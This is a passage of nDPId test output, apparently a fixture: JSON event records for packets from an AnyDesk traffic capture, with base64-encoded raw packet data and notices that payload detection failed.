7Eh+KQwNajsJ+Y3gkgmyIjaBKIl7+5l1l4WHbiNqAxo4GYlRV9v7BxH9+\/qZVXOeNe4FUj84XVN2hLNndHCkz9bYIyCdmqhZuYcbAhqUBeCq10cjo1Qrz7ujRTpEmYPycocUPsxeAoshdVqUzXAs7mgEbOHwp\/V\/cKgSelJSLgQyHbXNetfchHrNHz\/+XI8FWPuyf9RjYwgWfaEBVDeO5GNW15uRnLM7e0PN1JUZUK+VIypHHnBwgTV15lYP4aRJwtXCwxJIo1191JBENCTdMQmMJcBtSHKrB+10JQ8sglvm44x8jV65uh4OniigT4aD0LDbXPX9co6GSEu\/3qN\/8+7X925fvHQcLY\/9K1bbrqH4vsevP+iA\/JlU2jbirb\/XpFXgFFQLf2LbJP9En7rDPZ2nlL\/rnb3J\/B33bgwdWREmBTbtM5SfURyjXDLKWKtDwTiF28T+IHQBKogNZDzMT6FcsvAvc7IdbUy4lk6ImFN9bqnT\/asYgrgcM9\/i3xnr9zCl36lPGObaqdXnk7o0xGhRGQ3rdlFqJ+JZ7+SAcGKfLawuzId9g8mXa6lvzw5RbMhaaZY6O\/vaA98nQkT7pGGdp9tU4XP82rHy2349Ch2AsXpcEOwENKWQ1kdlozVGJwSsH5qNBqpmDaT2Wbqbnbnb6YLakSRpjFZBUdnIGAMVPdFcfVoWsEVJswrhSMsBSJr04ddW\/hsJK6a4++JQX8yYEkuJxhbsNEFalPnL3oLIbhZbZt40+cYLDlpvWtadiNvSJ4IeYWVrnQuVYKT\/UE+C0sCowk9BHvzX47vR+pLKBt7o6giE1jvqZPyLzitgodcPs1mLnbSd3ZRUeRw0woGcEAGOYWtuvmO1AMvqW8lqG58Y6+VQmWcLmd1hDw95rTjsuxFIvq9Bxu6iHh+Uwo4Q5eSd4RayPOK8aq5irmnJuw\/4bPVnybPjph9mon4pFfNoxmjlwZ7BhYQV6gZdTM+C8EXm3peqS\/nMfTL\/gXkontkGbN9Eqs\/LNZ6pIYEaixKrCBLTnwXMf97eHI="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1517,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1729} +07844{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1523,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":480215,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAf+lAAIAGAADAqAG7wKgBstOUG56PKLKmWcQ25VAYIBKExAAAFwMDFXlZ4hNO+msWOO6bf1yUPq0O+1hdbUxZMcgvmbydTyxuG7KyEobGlok7jptAgiiFE+C\/TfiIYRtwjfUm+EQHROlx+EH+3xA9n7hifCgYxm97YYE0JOkTsSuISGKWWQKTJho1m\/da3kD5CjyomjP\/\/eklN5PII5sARmT9OCaM7gopgHkFC273MTDqdtsQ+LAanZ\/K1VVAs+gHavU82Z9NyG08kWk0IruzI7D3izWliqQf3ds0i+VTt0xMQaCxaNrEzf0InQyX1T489MieZ6GAEafVN5mwmJ0GLMGd8dtDa\/LnKnX7bbsiqkgj1C1\/YnpGIxQNivr0gXtuMqwY2O6ZoacRPHSvI7zjvEkkVNO48hir2aN7+tl9+JMMEQVpfUcO8AyNnGrCbfC\/5\/gZbxNwrqFN3Yt0dsivDPE2LD4vO\/Z5RozyuK79d70Jm2WZdOz7ZEFSEZ1slQGHhnWTFJ4EVePIjmYUZfBKOB5TS1BdaSiXmeqrYsCHC04zUZ6oMjYyC9hl3Nc5CMY1kN6\/H4DOy278u0UWIyscz53DvlvZjAq0z05A0FQ22vQ6lBC7gZI4ARo+hW3wzUbkbdMKT3W+8WrQJlZVuXioMK8oeRtQxfjxH6Q0\/BoOesxe435LAWUw+ZNChA1WSr1SV5u4XVq4XHsCuthTL3z\/Fad1u3a4YsbSElk5nyOa9hTp0sjQTJ8Sq\/npCeG8gV0\/YKxXow+L0NV7uZfucL7BcG7kP8qwMRQNa9wmmRI8HV3ZERIQsM\/3D5tPtPAHw\/\/EHsvCBC4VsUAYK0PWmACY\/pnK7\/A6Cy8WnM3tZMRYdZzshdHzu4xP+iUAkBC+YA+GXeyeudcBcyHf0PuilK5L0wY\/gWZFudpGChyZb87kDDNKs3VwLJ9KN7OqmNcwpxtxSolq7ZJnzTOAmMRcPUGe10qODo5rN10ORE5xkPx0uryGM1SoN27SH4QyqjBOrbYPgNLlmQOOge\/9s+YZKbbkTMf5+G0AoStzm9dI1T\/PdbiXm2SEN8cF8n\/VqISQgFbIpPP9HrHvx+1RSdYSAPTcZnua749lqKfNQ7SW8u7+Fd8kELg0YP6aVfDi5EtehuT+06P3PPGARw3Z+cinLxYXvop4+JkZoE+IUgmCy+RO+5FXHRQ4tdBz5YvFEW\/Y3JKkNOG+K6VohANJAY7AfHPr6UMPyPIzqzO7zFHM2FSvGL6rflzbJhs6pnDLSOfMF7f0x\/R02y9LhVuxbf+PMU3\/hXPAvM2+mBoVcuK3g5nbkxwvoenDanuRVOjtMtfJDraK+GkkWsR681J29YxUaIOiRBcayjpy\/yAafX2Fo\/ilHTXkNi3d0u5h2udK8+VfMMzxD6WXRHHZy\/anoJRiQ1aLMKghiSOuCMDVQGnjiCh+C1\/PwBYFkEirAK\/CMRswbtU7KWOwRr68NXR6a5EPpoEYYOZinME8Qq35WCXOBRl7dws+uEdND92wy1DmbzEqRwlxT4jBN\/zYfFjgtcojmBGfs5koXEIQBr\/3Rrs0sfP7kC3CDuzTC+mciFB20sSvqEftRXKPG+AJmx5mE97SVj7T\/zA1\/mz9WKCSJwqU6AiAUnqs7wqJI2wZEyRSV5gmbk7fBft155L9Qxwl7oN1LnJQsUKWFjuavVd6RkOr0c\/Di58enuhytTQd8Vy6kIaz+GolxhBHDrKheNP8axk26ujcy1IiJudNzfP5pkSSj9l66gFSdcqRMUcX9eHZwenBevVKseCYg0r2vGWQKWSHgg5dfbgaLv5BxG5kis\/Q\/Ow+FQz3DybM6GWdFWKA+EDmCz\/KbVnEGQYTxny0k3RDPBizey1yqL1k8rIvBuD5ygCD6il3LeNjmhGB6o1kRhYwyW+6vRBCcDMLP4ywhQuOVDgLakmSX2Yp7me4VRI2P3zumImW7hAOzFD8qaIIhN+3NnaSkHzk2xMZ4KrXrtFfnJhaUU1Mcq3B2Nof4icnX1RHezBSYMKtezQa+nrXpWnxu12hS7Z6QOW\/Ksv4ki\/Wxa2rtzTHGIyRPy6k9v0xVRb+HLeZAckSfa+I9FWaaqd71100\/oPkANvF7J8nIljXYm6eyEZjqdn6smCBjwbTlPlw63YSiO2Q5kKtXkSKjQrrgRonan6j2\/msHYhD+v3BDhG0E\/+GDunS6utkjwhpY5B0d9Hw+Q+p1um3RduGGfC4igACxBUPXiFb9cR7sMfSqdRhOktPDKnnGu8+B2Hy88xh4ZdGUadPckHJed80ZgC7\/bO\/eIjzfYe3cX9o+i8UhCwwNEI26pT\/dBcWlJqEYGpp3eptyaNeE\/6r5zzKEDbqVx+9C0CznSbs7KZKnNvMjxClXPmSlBfEGEFrLnonuMZTKnCuweeArL3TVrXKbjW62JTH94pRoLnK0o3mwLJwKThfRcEJUAYFc4QZ4Yl4EDg81wkDTDkNS6jEwL5FBJ63ZrNMURN45SSpLHP57aHRIYwyYJKNKqSFRd9YLWrdak2SC64EdZ8i4mfJRvWFzHEijH8XFUoZbq5zuJfsy2LyDjXqDpljGModQqAiJptowG7mHf1stGGxZLrsqLjyZX8xSiWuQ\/CJeWoZVJw6RJAXlVQsHhNbIWvvfX5XFxZNeeUVUSxSP9SCuS9MA+ZJ2GatHukBPUp6JKKkubkIjaFSMTGc5jyjYnrowXfkVYJNhqvk6+7wFDxyxBVd0wSQ0VzLPUhvDATKD9SkPoeTuXnEPD5pyDobE6mAnIIqOdQBBvmjH7GJugzLae5G8WeK+Tt6Kjqwnke+oqxMS2cPRgTmdbz\/dJ3uhB8sW9PJeMKInnsMKmCYJErKq9Lg5XcLknCVjHKNfFgMvJBvm379ustEf2qBhoJ9DtCF7djgcx0y5VJvE2dUsPiGqmCSiHd5UwJHYKHg8S4fx0CG\/nie+3eYz\/V9UoJ4BPqgnHu0zBuSU14jE+WzYagd6gkQwZqllguLBf6sbPpD9Bv2dG\/i669X5H8ngcMrf7em0FroKQ8lXbiie8SQSZA0U+i5N2rmg9FadXN1UDHV0NAVE2tv9kWqddbjrs\/wtKQ9v7LkkTEhMwSbIDmiCYF9zKhdUXXyzSjV1nakNc34MBKmA1sjdRdp3FGMOY8HHRhnMIGTd\/el92E\/1hlhjeXkgkyMcle5\/Q\/iU8C9ur+334TLAA2UyAnzVuzAG0NoAuj1Hk+KgN745ArV0fxqO+2dCN75jX8PYFo1inX\/Ae1dsM\/U\/HA1O5gJmCQJjh7fEWVM0mTnbg7toQs\/3aCOTg8xdDI8xbi+IORTRUmh98rYi41l7tV0whX677EqQU2TuBFtamzO+2rJ7wx\/Vmga+zylIas4IPVSvq6a+CE14KszEQkPjv3taAfLrrVEl39\/YA09N+SjcJPXVIqyZ3Rb8Uzqtk9WZnPJJIS+wkVX0pbHTd7Myk1feO5j9oOAZgNCWkvQotT4PvDS+mlKSN3yGRnJlDkintQTQG73xFIvoRlqXlhJ4afWR17J7hZ2ZL2SdE5PVnhkMz5tinPlDAUrUmoCs3\/XuqU+O6dcbfji54VeS8KhEJ9fsT9PZzGJndhhmZfsSVaryGkHRRUrUfNxjXzUoqnFM2sZwR7mhog7wHxRMxd+y7d84MFQLHF83rBjV+Tp6sTUV3EIgCYeRAVW1pUkMPpw4nzunXpcW9wn1g2ykYU8pbAnnyp4FMup5MTYlXOd72Dg1JNtvCN0Mn5PEezBYaqBPSv2bNn81+tt8UR8gLRs0UULhUlDZZNEXBk7AKUT713TO1zyHEmdxXCTCBJP3\/aMWwy\/EQF\/a7Yjo7e\/tOJd9rjMMrHX18L1MOdj6UbD2FSokpjyr5BsSn2dGhts7ZrEqNbcmSNWTCDFWZf2o4TonX3QDKOELSknM1idw49V\/5W+Qst65zZwQCuY6JGVWbtpeZv+mKZRN7l\/eOWYmEOjhvkOjOkgMaK5SPrq0HQHB5pJBetw8zDOsDoZybKio2pYdTei1HnpAhQkIsV54QylQC9kv\/BOAViinLYHd7EtlQHqdfJ57uUVeqoPso4HtoR6HeKcXO3VYcR82bn1jJmsGByIu7Z1b11219yHgIAS30CKG7U2MyyjJOwbui8DbNxunc8Kj9Pi03REMYDFMHdHseKis7wmS5giRCSRQ\/E3z6gXs3fO3m9YBmVYV0oYLtR2JeC1w9kDsP8Joam35Tg3IEBD\/Ly\/IKfIxwTyk2kYkXtgzwgFG9KCbAUj2ya9P8TE8gx4kTPFo+apASFFchGdprtsQ+VcFmAzMQ7wObrG9VRmH4pKNEdpcc\/g8Y7LhGcIhNfm9yx2SeD0hHdPbw7XaNXqVtdUJd7Ic7AHFuwBp7+9iKNhfP32AtUK44COSzrkKqaEUqG1RHhUKL1oUPl9AmuTAkIrNlYgIDBrJemX3Na13WKBsU4vX+DyWa64DP8mt20tym8MspJ3+gx3CK4yG7oIcScKwB0iRIurT5xcIVZfCBoi7EqdO\/W0UOurBxaQBFk0v7O0Nb2e4lxVtQio7RF9B4AoNlyLNxLcFEoqMeR4JUFzaqvhRbxnCQw4II6z5aKqJmdjAerP\/kNPvGT8ByNcKlROxAPXC8prHLt2u421L6yTfGyVn8pNYMUm2vvRdb1q3hRx4x9XXK3tEFlfB2jsPBN4CWRW5Bb24ZXaLcx2NRwWbUHnSs9I3iXiKTO131OTjKKnOX8RrRBffPgxMhPqLIN\/26WHv76pgZ\/nhEt2YVfTLs3YJNcqiWQ7keOpqKKpuHTFj\/Opw9OPn9GRNzTJLvijMZbPmiUi+2MIo5rQBwCXQVoqBHQOQLHKYKKWUACAhJDvLGT5rk9IgfpD33uBpax4n1rmA1XmLuvfNuxp9USvuO6UZO3GEMTx2SIcULxbEgjpPS3YiOEt5uhhELgt2RafVTjbM6wgQzSgoSDsh3OpQjbTqA8Sf8P\/xKg72lNj3QvMvaOwVVba\/SRgpT+1PYhngrj4M1SMlGjj3C+tncVyBC004wkPAT3te8tameN6sWNlmGp5c4GHe1C36fwcZPtig4YNP6Upw17WzziqSFdH3AtmDFWP0LGgL9uIDeObd\/wmY8Ml5NeZBwaFYy\/gfKyr2MLc6XgB17nU2pNLwknKVQ0bmhlTm7lq2LBz\/FnttNkOStbviL7Lt8hFOvDMwQ6vSDXOFg\/chhl3EhY754\/HduQp76mbCeLsMU3\/WEmucYLx\/7\/UakYTfgL9ZV6Sh8umqi3R2HZRm\/lVcU33zOIadA6rnLWWgtu24QNXDEYkw6g5uzIxqrQGoFdLp6jePTB1co+dIFG6I0x2tA5MLVHkxUaEEwmMRKhnMtnIoNg+gHNzcGCzFlTUiKHrqOzImsRFV3IKB6ATFoRRKf7yOOE90MYMegpLrV12rzjwW5DRA4WD06hnEbGbyKyhpijV0fX8FJYyuIGQmbzG6zeV11YxYnSKH4wHYGP1hX0YhQ11OywTlgyFcCpK+bXj637id\/\/efV4N7UUzQLiUhNCdEPxpqhiDXUi\/aQoOw4CNqKNLy+xjSs6he+Hyl3CsDL6PCSrWUHAw4M8w0vBOMwEKuva3TZoP4VcwPpzR1Xorf3q5e8tHsga1N4WGWMARsS7K6HpmjlXoYCj1CNjckvWPjrcF9LKZzk+3BBjnjB1LIvRLfugasNGL3OIZoifMT2Xq0+ZpUGIGxR+mjDEcJRFNsdBwmi2CbpvzzNIBO\/fKu3Jn+6l+XZvA\/DCAfNlv+IgdqV0cHDSUwZrdUYoZ5mLm553\/ecSa7F0rA10haPVC6Cm+vceXqdm8OIpCOGt5YfjY93Z\/jkUTCmKCVQZY5ngN0dVV1\/id\/zKfTbDN9iJmUdfr\/TL9QBprlb2VC7XarKV7pCjTDD19pxJXzuY+fHw1o52uVcUZkB7JNfjqOqT7\/g3TYRzFETejpD\/RFYyppev8JRQ2sD\/KgVcfMssB7hzMWXqFdga\/8vVz7UFN7wRwYKI8\/DRtWJt\/NScZRPPrjlqGWJZ28Ytt89DaElPixjkhOqbj8lcOmmCKjuFdy2m0ARp47cVrlw90NZUcgvGxXuh+oWq6hhK+ValnGnyB5yPlfeDrb1+7F9mBNxOQQQYRRRUtSrPDvX5sNROsbghmE5\/R2U2msgHlm+1KIn2whww73oXnab99Cobh2JnZouKpC8dWY0ROoQMX5ODXdaCdcdsQz4iLriyym3mXXtNgpXAxgFAZJRD0Ey84jAy+gDERRKLVncZbg9\/x5hTUI3yNIt9iET1kK7oxaxPf3bc085RvK0Ix548VBQTD0qrGJjdINxmOMq6WfUXvcA9YYRcnp23OZrCOPx0CuLiO9xuWG51\/Uvm9iZJLsURX\/KqTcZ+Khd4\/M4rnA2JIXAUPWlZGdJ0YotkFpt+tjBsXE0JEEb6nssGjri6a071yzfYr8gpm5z6xBxH0XIhLjfrC3Y9O3pQnwGVe0eXbnkJE62IrvgjzL+8\/GiX86gMl5XxQ+sJwPFN9T+jCN4xuKobvmgImATAWm2qcMVdVuBdxaefsObqQYBCNkZ5GeEW2SXcn5q4Yb57wsaM75vEzJiGMPG3RhyJObCDfzCOGUTjnaTrSeac0IXwX0Cw7uGcw+aKGpMPyssWQsuEh9iWzO17mMzW\/025+yomqxnZWUv8K\/36n7nRn4Rl3E5QCDolqDtmIkhxb+fvB8GXbnMssFWHUhPzx9KK9oOLfvkEw\/Ih7mN8X\/WTm+lhnsbYMpJ2Ih5\/0uNbo5ArQp\/lKYpQylXXka5Bl78icoLtTZvvb+sB7SS3pikziXn\/WR6Bxhc3MGG2gxleTqGg0q5FyywWxHJeVkBhj9rIqEex+BqUZwG4FDmi0pe9eC0+OkiFRBGnA5X95af1MXp2vqj1GJ5jFrDRmKk+0yjfxQAO74\/3Xyu3baGP7nY92fFJjpxKotzYFOCaURnKHE\/gtq5qz+Lh6iT3g2djooHSoox1mKgHO4yYnTCO0pjlZATIUAqjKFU9a7ZbiHlQMwGTFBvUmFvjDIzkSYgeCVgKAeA6TiP2\/rvPWlcB7D6kDUwRqdeqWagjNOtOwTaMFgIS\/V9D\/Pe9xBEdhWLrp9Mnu3d1LAjAHvcEfZQ10DKZd+o8II6MVpdSxkLdU2hdtHJbL4XbVLLj7aLDQukwP9UmIhIyNXUV7OrCpTZme4QYDsnYTar0NlsAiB9YXkVsGZ0G4vNKK5SyJVq4uFWNSMGACHP+yq5iprzAlygmgNE2qLkpCBD1pQo4ryVFTLQmqyZPIQgDIGTZDKYdZx8oT2auvBl\/j6WFUpuIusVpBH48NC\/4cE13vIHFAbkPzcCREdHudtt\/0MecRty5Zfv\/ujRKvN3u0nF1VtUeG"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1523,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07817{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1524,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":480257,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAf+1AAIAGAADAqAG7wKgBstOUG56PKMgkWcQ25VAYIBKExAAAFwMDFXdZ4hNO+msWOc29mO7fmdu7YUS5sGlUND1m99GOr86C3HpAvx5n5HsHscxSj3yyQ5w86ECq5atKTaijJQ+ajVpLUxmguh38X7pmzqMAFCki5wE7zNstfUsyo9\/YTkPcH1S\/6AEuo5ICUQo7qqcnM+UPvdpNpotMNiIhNmVoMEp+mmONdpm7\/0cmva4SfCK215aQ\/JMgARLpcQU2jFZ4l0YpfUHmmP93NFmrqnAjjOcFSIZ4x\/N2W6562Y1yoVoGxNDfA5F5TiH6BcvtRLZN5JxHpdoP89sxhqj92D0\/a3DwebMivKNpK8hvl6ncRNi73NjMLihcdWMMr9DQRBCQyHziAShIeMdQ7i6ZA6LeUbr9OIzmmBuHGKXvptlDoYEuCpN\/ovTY89PUczpFGlEVFQ7w5J03lRlK2SnzKvISl0zeOkITtkVMHQrtSR4Ev6gXXqhhrlYiGB3oEJPRnEJybmsO5NPfUhIKQ5wlp\/ktjhJLOMv\/JIO4gqbfJ7pYY8fvGF+wcouMJNY0VW5kekgXnDF4t5bC+mdZdZ7mfKA6IPb1UiIe6Pj6q4k3yKow50tk0ERxHxUO9lDhbeuoRuyzQGHyPONh0T+Fv7tTcUInVgu2T0EaAo1zUM4jIgusGHUsZURfxCiVDdNmtR9tw4ExNI+8sZkv+kiLrJxaZBAKiCNYbxN85qn+uNF3NhXqHz6dCVucmAim35ElPPBev8ENhzln8FTQnRWTY\/M0svJnLYfjUNB7oTGi6on5RIMLX8HeVIDnqHamAXoJgVXzX6eX\/\/esJf5Op2hQ2QJisHUE0RntO++0OgwerM9THz1+PsBWE1dRjxSt6X6xmwSgI7OAKkXCnK5ZMepWEFuMe5+5lGFmiqA1DMa3QWvoehT9cnorIt3lXgL6wCxfvl4m9yBYTLi+30FK6Kr94Wg\/tTCtdkTd4r78O+Zw7ofWqBSlwLs8NNr3x4S17q96hoSvIAunRmnARJjDZM\/xCeZbSGIBPhOgC5jHIKAyPvqF7OwEJl+wM5PiI2Q69gDfm2tUyabh5BHNKndh7GDytsbW6CYhB6rnCaSxX3pmsTSDEdEydlgv2hPNAuSTVOHI6dHi+VVJhcHj\/dCN19tU+idpbrS9Unn8hrul2CUgMiX\/AsOmnD0GxH\/D95M7PqfjkKTsVjiw\/FvaoJ1P1xLqGWPNsZbyvkSXF7WmmrUF7tRr7heb+t6iQGbarrvjbWhFXyPIxec0edN4Iqnn6u8H7lMqvif+zYXVDVGgaTzjEPnLyHm6yQnJe\/C+z4HrqYFzyPHJF1m5ViDgshuv4eCG6NTAiY4XyZWIAKPbkpFLwXp6SD5exF9eyP3iO5w9iLSphG\/FPELeyhDrtLU5WdTjuCAM2ZLP9WsWvCUcgbtv8tc\/uWA0HULcWzXvkh8o1e5DPmJxjyZ+hj55EgEbJk9J\/wx6JpkQNEIpw+ZuS5Vtam4stmamfspsSu3DBarapbBLCmzBpIDmZAqTIYBR+REmmFhp+BD00VaJjF7OOQ5hTPmINxbNSrfNxmsmJ3d+UarJNsxEEMvrS4Mo1q3guh12WcpuwWqRL37Eog9HYPoKfcuKczsP8W3FgswdemsicRgjoEnf3Bz1iTPB\/nXHO3pe1qgoOtTmfgXQl60DCrOAwmnuaoMg0SwgloYTz5lFFf03J9GALvk7GLP5e4L9VhFXgfM5Lyd9lcpEdZzyptjPcPDJasHmPV9Yf3Vn+LR0HYLxHvKqAWC9TnhSPXVAlk1FL2IxIbBU218RID+ckzoOayYux9g2opE3AtSZh4ChHyFixZWvurnH9V5vhqbmHZOYtNYrHWFciIB\/apHBQEk6Io4z2iMyU3meRnMMGeqPQgZ9tpSnPTWLbfka6WGuwxBl3Qcdh9F56a+N\/Nx6gBR6rqQiJ7FzhowHtwr1TDK22x4tGQNa\/YlefmIXdPofiDhLn6tn0v6m+Rqurrt+KPHXxtwLUu\/D\/OQw26aY4IQKGWMtRQaFEPqnKeqKzOObCwNlhUNT57x793fefWdM\/Q2tydEjWorQGuZ1+PsbYJ9em2QQOoW98tD88bX0a4OPFsRwTTwSZPTEXwViZ6T2tYrhsYKX6xjjls4Ojvp1PRZYb5hj+FfBoo1jI3LtzTmy0V52JkzyYVOpcloiRhnmYkDJM3BAYeerGK9P6CZgWOMkawiCZSP2jDPWpzTzpKzIvTq+s4z1T5gGfNFPs8bZbdz4kZ5GartKrU0dbGFOTRuUitn78wyNi+irI4A9k9DStGB7hHp4zy+HZ5TRs2wf8c7zD04tEkHYbDuz\/TO1AFdQmmxpM1pL+JMYKiDBnTcEpb5mVvZUn94W227qxoZW5TSnnEKQKlXiHAgafkkLUg3bja3tesDshhpyYfs2syf3egK2svLJhtPQY7\/Hhv+NhJjV0c+W2ujuzciC990A2V1SAUa41kSLj45BeL41U0MSyaXw\/dV8Dk+zioVHB1CAMux8jJu1QdHP6v8twr7Y4rCIDutVI7wDexAxU6TOuMFZMQ7izmnq2ANtCQMMoPXeRb4HuB5ulWHeoCrEq+0cNIXAA3vFXCehHN98ky1fQ7NWffQ+aTWMNjqupawET3a++hKEdtJ95MeeduVEQJ+guHwnOGuaFoDHwwI1z9whIYBX8OMMnaw10RfFEwXP+F3Hh9e+At+q6dm5F4OPPocC6mig8WRyOTtCNIkqIp3H6Dl23ayPf15nt\/yrJ\/xfm4Y4Gk9rku0w4viBYpqHkmhOUQwNWKAuYw79OBexTuF7IQsGJydG0oMD9frnCJuw8s543573jJz9sRAgqQRpn5Pn+sqeK+R38T+TPNR3EJpEFZi5jbvjXOrM+4EI6BZ+ug+ARz+AMQtqwf0eAr8I0u3jRVZEL7Gz9HUd8UROavv9\/UlWzJtbxXTaeJTgUu8ym8STS5GyZtNWjUHzolkqC5qksQqsIwwBvIqqSz7SSs1rRbIkwqAfVM17DI\/JOdD85wJsHxbKbkj3TEI\/QJRiFffor5bo1FwXrwTZNtaUvScE2q7n5aKxmoQrlkTLPoXt0tpFPTXYAqqVhgf1rVPiNGzmzc2sluK59g1c7gFL8qMUYqvCFnq4hTOi4j6MmhxxZoKFTsRBLOYeMlQCwYGWzUrdt+rHkI4VRbpuWZ7RYogj08PrUtzu\/T\/eiVcO\/fv45XCfBr1NS10JHH+\/ogJWNSQA+rDkeZtlFJVt5w0m1wGe4bORvCyoDqLPP4+yj7KL\/uREVpIThSFvs1DCf7jc5DojIAvgh+H0DbENz0+i4CivN5yITUrExYBJmytYbI4izyP48NwxOanUooqip6LWhek4AiOr3IpiT7wEEJOBEDA5ddNOusGueKppWmQb8pJVJP41+ceX++nlFD37LLX9p+QbuQKF5E1huIQaw0fYRiIMk3Sl8C9lyKGYqEdTsaiF4X+Mk9qwJCycmEkR8hQvTYF+UwlhUsPL4laisMhDnsJudiOSIocvUMZ6czGe0t3IDml796LAeb+ii\/oDU5l07mz2MntWIGEB9ddjF26pfO41ZDGvORu1GTN2pOCjBZITOKRD8tHt9B2hyutFguXSI+QqnDPUWUcFWaeFT5mOnD5TP98FoMdPEYiJNgqNdty7vZ550\/p094YmGZATS5gXFixHk\/ErCECX2T2lihlydUTAP8csFt0Xl9r31aqP0AD5GtqVc\/17MKlCmettveAGpBvNf658QJbkSv7Oz87ZAQJsi7E6LrxfRHmijQI0ba23qVY8xVQK\/prrIRPb5QYbW5R5+wLM8CXqpFh700X2gzraKRBeQCKyZC+1vRjALq7HDvXNkw5sVCHsaAdK4SHQOhiAeAsatzskMbxeNTWDhcgPi5FCwTIZ3zFs3amEplst1dMu8bl1HCy5T+jvXmLepd1fkQEb9e8JPhL7kUNC6YRhWU3858lBTkpVvF2h\/R4neLy10DxXOYaB+0sdUA9fXW37p\/DFQZLHo6CjFNKZn22IA1y9v8KTEAQWxcXOgaOXuqO6wXKlLJqsn3r8RsjoYvrIGgoNJofW5BIGKH9IlxR0bfu9+XKa\/pqCY\/R71qZS7nONv3gRMhqFtgClRTWSN18mn2LSmebKoQ2qMukY3rHD+ESaWwm1\/Z745toYzi+7Fa32GCiWbzLemASJ9jSmKZrjvR+FTvIXaQSOq158GpIkfIMSXB6NCmfQQG8PB1rXzQiT2AwXxr8pviiCEt5tgoEWtp+8ifgc03xu778OvdCBN0dU9pTnErHWDdi7uuVzyH8\/6WbJCdNbpIXSeqRhPEqkhFkXpQlGHuybRpBzGcZJPtyBSrc395zc1ldFtwvUjU6lFSRfAe\/WmMxRXMNfXrcbYHIigr+X68fCvfxBVhiwnnPaTPzsFwQ+X8Nh7RCU1EdMDx9+EBwrD8Qr52KqMgDy4Qxczm5oaIhpW84KSQci271FbeiNMgeAYvypGVyh7KAeM\/wcVZMjdJ+7m\/If5m\/28tUae+7oK\/Ub2E9FdgHBe8GsgLYrd0OohfwOhIW+pqE0BqkUBu2sDqKKXFVkBJfDSlLJW\/jsSASDfevDZz+meyk\/ytDwi18glcOdMTCmcryVXvxQlIwuonHNjfYhd8LlIFUtU7Ful\/+BEQCDoS1bLUsBY5HKbuOeByuUeCNgZLsOq4XgvJospPDkNEodgTU241YyX2ZYEmWqATRSxUTNmi6Yd42FzKv8alVU2pOzaHVOm5e4nTTTGJ275sFMdg\/cymFiBzUS8hhRlZEt6GIpeAI27UmlYjbsZL+jh0BtrCRMuEYPYfNZC170pSnAReLi8mIAN\/UXas\/MrfExoF1EeeMgKpimfdCFzx\/whcME8l6xpWlwC4oJi7WnWp640zgOSal72IcD44KK3E0zKsBqQShIoykWkPizjcDRPDdeVwKvMYQ8zkwzaIOdAWw8T2PPkmCN6sK8EBZqvVNhmgHl4EiVyyUdvd\/Tgo\/HkvwQTzjyr2K7YWs+rbuT9orU7yTcRq0U0D7\/C+VV5mF7AhVddw4OHxLAnLqx1drYzpSh8nScVG79j7XhkRzspU8CbWO3pY+ZOFNVyY2IWs+rBWbbuhOmj+9yPQgqFobtOXRb3qyXdXaMW0UTZA5YRBf0Kl9JoVyuHvq7qkJkv4STlVhrvzRkH1VTsFLQMG54w\/x98DSFqW0X+EA5R3iNFKins5a3XFEZqeFCRWCpYY6YcN+WKNh98ujoIm6CoIkUMekyh0Ot5C7LZDJjSXxGqxWpmDMnlhND0GRrR4rtSFrwJWHluEGwzjKSTfXiu0yMwIMShVSZzAA\/pJ0bK14cG\/+RKw47u+3DBhPgwowdOuBEt2fCULs9LkJukAofDlkQmXlKUQ\/IgTZmmO7kS6RzS2+5cCt21D2LJL+UjNHEXw1YLiUpT0ZRh3pHuO843O+9MmBtuV2jAhoYe1AY27Gp\/1OXk4\/FRjVunWEUkGT8F3HFhTULavtWVq0PRVHF4it5FW\/FFD\/8w3onI12zfm4y2eUF1o4Nei2FmYdn+7FZSYypKfMzAlbW7e1nbv58p83+li+TqCCQBwEX9HJdffhwX5u81Lc+SWeAOn7cD5LovHxMXrzwIv8LNHcHDq4UUwhj0TJFR2w8kFTPhSLrZteYx8fkBqa7hhzxVfVoksjeCsGD4pu+EMrB1fLRdUiP62tV\/qlulrAxviykswYMt7aPAm+Tw2+r\/Cy3pYo18wsuNJbSgTewoxA7KjC2f9g05T4BgOPU+8gJW3zu7kntew3+L1H0eiedvV5VXwiB9AlXYJj4xMFl2x2NgQfQ5LRZVAEuTIIH+YpnV\/VH3HwTVkm4mj4sLKr6AqjtI45J6b+0QgW5VRtlvN8uLBzn\/fAjxlKDtKQLZzUVQdrI\/QvY0Vv2jczyyxWJI96MZHqkZao3A0CVfr8THLzu\/W27YQbF2Upg2X+jr2ARuNTN3FpsRcyTW019hK\/HRt3iO7UKs2GwVdVPEKd9YBF5D1efZsjpwv2kTM1FFZw+b0gpn+rS+Xrtk2k4XqOLeeIySsNLHqxUmdKO2scSpB5FepKx2nzR\/dqrNDjajDLjTiclWP5oSLrceBOjt+iUfLuuHett5IEAvbxwg3nK0EHvTnZJWPyDhxFaKra7tQEZ4dgqzyHv3m8cGUvcerAeO8AUv02gglpVSlNHWPSch9OMDcXtMDXXyb0zPDmBuJ4nbWgqsBZ+mrpEfRDRGRtZFhXf9eztnSH84qnd2zrc7pMuf8t2JxdjXOXVsWhSWvY7v\/M4z12dbAtLGOOphJiCvoGWcnTIp5Rr5tpfT1yIEi7SNuiICOK1NsV+R3TV7U2zcm6HCrB8ZkxwJGDdSqu8dAR4Cw0K5y8gsthITkYdHf\/ThYZk1c7QvDISnNUL7ZXExuZF\/u0yu1fpdexYhCZnQFgygw\/h0udgx2pX\/p165rmKOEp1PAKUDG2j